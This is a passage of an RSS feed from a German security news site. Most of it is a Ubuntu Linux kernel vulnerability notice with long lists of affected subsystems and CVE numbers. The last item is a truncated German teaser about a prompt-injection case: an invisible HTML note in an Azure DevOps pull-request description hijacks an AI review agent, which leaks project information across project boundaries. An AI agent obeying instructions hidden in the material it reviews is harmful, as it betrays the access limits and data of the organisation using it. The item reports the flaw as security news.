CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8593-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security iss...]]></description>
<link>https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 09:46:45 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - x86 platform drivers;
  - PSP security protocol;
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Auxiliary display drivers;
  - Drivers core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - Buffer Sharing and Synchronization framework;
  - DPLL subsystem;
  - EDAC drivers;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - FWCTL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Texas Instruments network drivers;
  - MediaTek network drivers;
  - NVME drivers;
  - Parport drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - TCM subsystem;
  - Thunderbolt and USB4 drivers;
  - TTY drivers;
  - Userspace I/O drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Dual Role (OTG-ready) Controller drivers;
  - USB Serial drivers;
  - USB Type-C support driver;
  - USB Type-C Port Controller Manager driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - DRM TTM subsystem;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Tracing infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory management;
  - Memory Management;
  - Linked list library;
  - Netfilter;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Network shaper API;
  - Network traffic control;
  - TCP network protocol;
  - XFRM subsystem;
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - DMA mapping infrastructure;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - IRQ subsystem;
  - Kexec HandOver (KHO);
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KProbes tracing;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - Ethtool driver;
  - Handshake API;
  - HSR network protocol;
  - IPv4 networking;
  - IPv6 networking;
  - IUCV driver;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - Integrity Measurement Architecture(IMA) framework;
  - Key management;
  - Linux Security Modules (LSM) Framework;
  - SELinux security module;
  - ALSA framework;
  - HD-audio driver;
  - AudioScience HPI driver;
  - FourSemi audio codecs;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - KVM subsystem;
(CVE-2026-43490, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45837, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-46104, CVE-2026-46105, CVE-2026-46106, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46109, CVE-2026-46110, CVE-2026-46111,
CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116,
CVE-2026-46117, CVE-2026-46118, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46136, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46140, CVE-2026-46141, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46147,
CVE-2026-46148, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46153, CVE-2026-46154, CVE-2026-46156,
CVE-2026-46157, CVE-2026-46158, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46162, CVE-2026-46163, CVE-2026-46164,
CVE-2026-46165, CVE-2026-46166, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46170, CVE-2026-46171, CVE-2026-46172,
CVE-2026-46173, CVE-2026-46174, CVE-2026-46175, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46181, CVE-2026-46182, CVE-2026-46183, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46317, CVE-2026-46318,
CVE-2026-46319, CVE-2026-46320, CVE-2026-46321, CVE-2026-46322,
CVE-2026-46324, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52934,
CVE-2026-52936, CVE-2026-52937, CVE-2026-52941, CVE-2026-52943,
CVE-2026-52944, CVE-2026-52949, CVE-2026-52950, CVE-2026-52951,
CVE-2026-52952, CVE-2026-52953, CVE-2026-52954, CVE-2026-52955,
CVE-2026-52956, CVE-2026-52957, CVE-2026-52958, CVE-2026-52959,
CVE-2026-52960, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963,
CVE-2026-52964, CVE-2026-52965, CVE-2026-52967, CVE-2026-52968,
CVE-2026-52969, CVE-2026-52970, CVE-2026-52971, CVE-2026-52973,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52976, CVE-2026-52977,
CVE-2026-52978, CVE-2026-52979, CVE-2026-52980, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52983, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52987, CVE-2026-52988, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52991, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52994, CVE-2026-52995, CVE-2026-52996, CVE-2026-52997,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53000, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53005,
CVE-2026-53006, CVE-2026-53007, CVE-2026-53008, CVE-2026-53009,
CVE-2026-53010, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013,
CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53017,
CVE-2026-53018, CVE-2026-53019, CVE-2026-53020, CVE-2026-53021,
CVE-2026-53022, CVE-2026-53023, CVE-2026-53024, CVE-2026-53025,
CVE-2026-53026, CVE-2026-53027, CVE-2026-53028, CVE-2026-53029,
CVE-2026-53030, CVE-2026-53031, CVE-2026-53032, CVE-2026-53033,
CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037,
CVE-2026-53038, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53042, CVE-2026-53043, CVE-2026-53044, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53051, CVE-2026-53052, CVE-2026-53053,
CVE-2026-53054, CVE-2026-53055, CVE-2026-53056, CVE-2026-53057,
CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061,
CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53066, CVE-2026-53067, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53070, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53078, CVE-2026-53079, CVE-2026-53080, CVE-2026-53081,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53087, CVE-2026-53088, CVE-2026-53089,
CVE-2026-53090, CVE-2026-53091, CVE-2026-53092, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53095, CVE-2026-53096, CVE-2026-53097,
CVE-2026-53098, CVE-2026-53099, CVE-2026-53100, CVE-2026-53101,
CVE-2026-53102, CVE-2026-53103, CVE-2026-53104, CVE-2026-53105,
CVE-2026-53106, CVE-2026-53107, CVE-2026-53108, CVE-2026-53109,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53113,
CVE-2026-53114, CVE-2026-53115, CVE-2026-53116, CVE-2026-53117,
CVE-2026-53118, CVE-2026-53119, CVE-2026-53120, CVE-2026-53121,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53124, CVE-2026-53125,
CVE-2026-53126, CVE-2026-53127, CVE-2026-53128, CVE-2026-53129,
CVE-2026-53130, CVE-2026-53174, CVE-2026-53277, CVE-2026-53278,
CVE-2026-53279, CVE-2026-53280, CVE-2026-53281, CVE-2026-53282,
CVE-2026-53283, CVE-2026-53284, CVE-2026-53285, CVE-2026-53286,
CVE-2026-53287, CVE-2026-53288, CVE-2026-53289, CVE-2026-53290,
CVE-2026-53291, CVE-2026-53292, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53297, CVE-2026-53298,
CVE-2026-53299, CVE-2026-53300, CVE-2026-53301, CVE-2026-53302,
CVE-2026-53303, CVE-2026-53304, CVE-2026-53305, CVE-2026-53306,
CVE-2026-53307, CVE-2026-53308, CVE-2026-53309, CVE-2026-53310,
CVE-2026-53311, CVE-2026-53312, CVE-2026-53313, CVE-2026-53314,
CVE-2026-53315, CVE-2026-53316, CVE-2026-53317, CVE-2026-53318,
CVE-2026-53319, CVE-2026-53320, CVE-2026-53321, CVE-2026-53322,
CVE-2026-53323, CVE-2026-53324, CVE-2026-53357, CVE-2026-53358,
CVE-2026-53360, CVE-2026-53364, CVE-2026-53365, CVE-2026-53367,
CVE-2026-53368, CVE-2026-53369, CVE-2026-53370, CVE-2026-53371,
CVE-2026-53372, CVE-2026-53373, CVE-2026-53374, CVE-2026-53375,
CVE-2026-53376, CVE-2026-53377, CVE-2026-53378, CVE-2026-53379,
CVE-2026-53380, CVE-2026-63837, CVE-2026-63838, CVE-2026-63839,
CVE-2026-63840, CVE-2026-63841, CVE-2026-63842, CVE-2026-63843,
CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847,
CVE-2026-63848, CVE-2026-63849, CVE-2026-63850, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63853, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63857, CVE-2026-63858, CVE-2026-63859,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63863,
CVE-2026-63864, CVE-2026-63865, CVE-2026-63866, CVE-2026-63875,
CVE-2026-63876, CVE-2026-63877, CVE-2026-63878, CVE-2026-63879,
CVE-2026-63880, CVE-2026-63881, CVE-2026-63882, CVE-2026-63883,
CVE-2026-63884, CVE-2026-63886, CVE-2026-63887, CVE-2026-63888,
CVE-2026-63889, CVE-2026-63890, CVE-2026-63891, CVE-2026-63892,
CVE-2026-63893, CVE-2026-63894, CVE-2026-63895, CVE-2026-63896,
CVE-2026-63897, CVE-2026-63898, CVE-2026-63899, CVE-2026-63900,
CVE-2026-63901, CVE-2026-63902, CVE-2026-63903, CVE-2026-63904,
CVE-2026-63905, CVE-2026-63906, CVE-2026-63907, CVE-2026-63908,
CVE-2026-63909, CVE-2026-63910, CVE-2026-63911, CVE-2026-63912,
CVE-2026-63913, CVE-2026-63914, CVE-2026-63915, CVE-2026-63916,
CVE-2026-63917, CVE-2026-63918, CVE-2026-63919, CVE-2026-63920,
CVE-2026-63921, CVE-2026-63922, CVE-2026-63923, CVE-2026-63924,
CVE-2026-63925, CVE-2026-63926, CVE-2026-63927, CVE-2026-63928,
CVE-2026-63929, CVE-2026-63930, CVE-2026-63931, CVE-2026-63932,
CVE-2026-63933, CVE-2026-63934, CVE-2026-63935, CVE-2026-63936,
CVE-2026-63937, CVE-2026-63938, CVE-2026-63939, CVE-2026-63940,
CVE-2026-63941, CVE-2026-63942, CVE-2026-63943, CVE-2026-63944,
CVE-2026-63945, CVE-2026-63946, CVE-2026-63947, CVE-2026-63948,
CVE-2026-63949, CVE-2026-63950, CVE-2026-63951, CVE-2026-63952,
CVE-2026-63953, CVE-2026-63954, CVE-2026-63955, CVE-2026-63956,
CVE-2026-63957, CVE-2026-63958, CVE-2026-63959, CVE-2026-63960,
CVE-2026-63961, CVE-2026-63962, CVE-2026-63963, CVE-2026-63964,
CVE-2026-63965, CVE-2026-63966, CVE-2026-63967, CVE-2026-63968,
CVE-2026-63969, CVE-2026-63970, CVE-2026-63971, CVE-2026-63972,
CVE-2026-63973, CVE-2026-63974, CVE-2026-63975, CVE-2026-63976,
CVE-2026-63977, CVE-2026-63978, CVE-2026-63979, CVE-2026-63980,
CVE-2026-63981, CVE-2026-63982, CVE-2026-63983, CVE-2026-63984,
CVE-2026-63985, CVE-2026-63986, CVE-2026-63987, CVE-2026-63988,
CVE-2026-63989, CVE-2026-63990, CVE-2026-63991, CVE-2026-63992,
CVE-2026-63993, CVE-2026-63994, CVE-2026-63995, CVE-2026-63996,
CVE-2026-63997, CVE-2026-63998, CVE-2026-63999, CVE-2026-64000,
CVE-2026-64001, CVE-2026-64002, CVE-2026-64003, CVE-2026-64004,
CVE-2026-64005, CVE-2026-64006, CVE-2026-64007, CVE-2026-64008,
CVE-2026-64009, CVE-2026-64010, CVE-2026-64011, CVE-2026-64012,
CVE-2026-64013, CVE-2026-64014, CVE-2026-64015, CVE-2026-64017,
CVE-2026-64018, CVE-2026-64019, CVE-2026-64020, CVE-2026-64021,
CVE-2026-64022, CVE-2026-64023, CVE-2026-64024, CVE-2026-64025,
CVE-2026-64026, CVE-2026-64027, CVE-2026-64029, CVE-2026-64030,
CVE-2026-64031, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64035, CVE-2026-64036, CVE-2026-64037, CVE-2026-64038,
CVE-2026-64039, CVE-2026-64040, CVE-2026-64041, CVE-2026-64042,
CVE-2026-64043, CVE-2026-64044, CVE-2026-64045, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64048, CVE-2026-64049, CVE-2026-64050,
CVE-2026-64051, CVE-2026-64052, CVE-2026-64053, CVE-2026-64054,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64057, CVE-2026-64058,
CVE-2026-64059, CVE-2026-64060, CVE-2026-64061, CVE-2026-64062,
CVE-2026-64063, CVE-2026-64064, CVE-2026-64065, CVE-2026-64066,
CVE-2026-64067, CVE-2026-64068, CVE-2026-64069, CVE-2026-64070,
CVE-2026-64071, CVE-2026-64072, CVE-2026-64073, CVE-2026-64074,
CVE-2026-64075, CVE-2026-64076, CVE-2026-64077, CVE-2026-64078,
CVE-2026-64079, CVE-2026-64080, CVE-2026-64081, CVE-2026-64082,
CVE-2026-64083, CVE-2026-64084, CVE-2026-64085, CVE-2026-64086,
CVE-2026-64087, CVE-2026-64088, CVE-2026-64089, CVE-2026-64090,
CVE-2026-64091, CVE-2026-64093, CVE-2026-64094, CVE-2026-64095,
CVE-2026-64096, CVE-2026-64097, CVE-2026-64098, CVE-2026-64099,
CVE-2026-64100, CVE-2026-64101, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64104, CVE-2026-64105, CVE-2026-64106, CVE-2026-64107,
CVE-2026-64108, CVE-2026-64109, CVE-2026-64110, CVE-2026-64111,
CVE-2026-64112, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64116, CVE-2026-64117, CVE-2026-64118, CVE-2026-64119,
CVE-2026-64120, CVE-2026-64121, CVE-2026-64122, CVE-2026-64123,
CVE-2026-64124, CVE-2026-64125, CVE-2026-64126, CVE-2026-64127,
CVE-2026-64128, CVE-2026-64129, CVE-2026-64130, CVE-2026-64131,
CVE-2026-64132, CVE-2026-64133, CVE-2026-64134, CVE-2026-64135,
CVE-2026-64136, CVE-2026-64137, CVE-2026-64138, CVE-2026-64139,
CVE-2026-64140, CVE-2026-64141, CVE-2026-64142, CVE-2026-64143,
CVE-2026-64144, CVE-2026-64145, CVE-2026-64146, CVE-2026-64147,
CVE-2026-64148, CVE-2026-64149, CVE-2026-64150, CVE-2026-64151,
CVE-2026-64152, CVE-2026-64153, CVE-2026-64154, CVE-2026-64155,
CVE-2026-64156, CVE-2026-64157, CVE-2026-64158, CVE-2026-64159,
CVE-2026-64160, CVE-2026-64161, CVE-2026-64162, CVE-2026-64163,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64167,
CVE-2026-64168, CVE-2026-64169, CVE-2026-64170, CVE-2026-64171,
CVE-2026-64172, CVE-2026-64173, CVE-2026-64174, CVE-2026-64175,
CVE-2026-64176, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64180, CVE-2026-64181, CVE-2026-64182, CVE-2026-64183,
CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps MCP: Unsichtbare PR-Kommentare kapern KI-Review-Agenten und leaken Projektinfos]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine einzelne HTML-Notiz in der Beschreibung eines Pull Requests kann eine KI-gestützte Review-Automation missbrauchen und damit Zugriff über Projektgrenzen hinweg verschieben. Der Angriff läuft nicht als „klassisches“ Prompt-Troubleshooting, sondern nutzt eine Lücke in der...]]></description>
<link>https://tsecurity.de/de/3688260/it-security-nachrichten/azure-devops-mcp-unsichtbare-pr-kommentare-kapern-ki-review-agenten-und-leaken-projektinfos/</link>
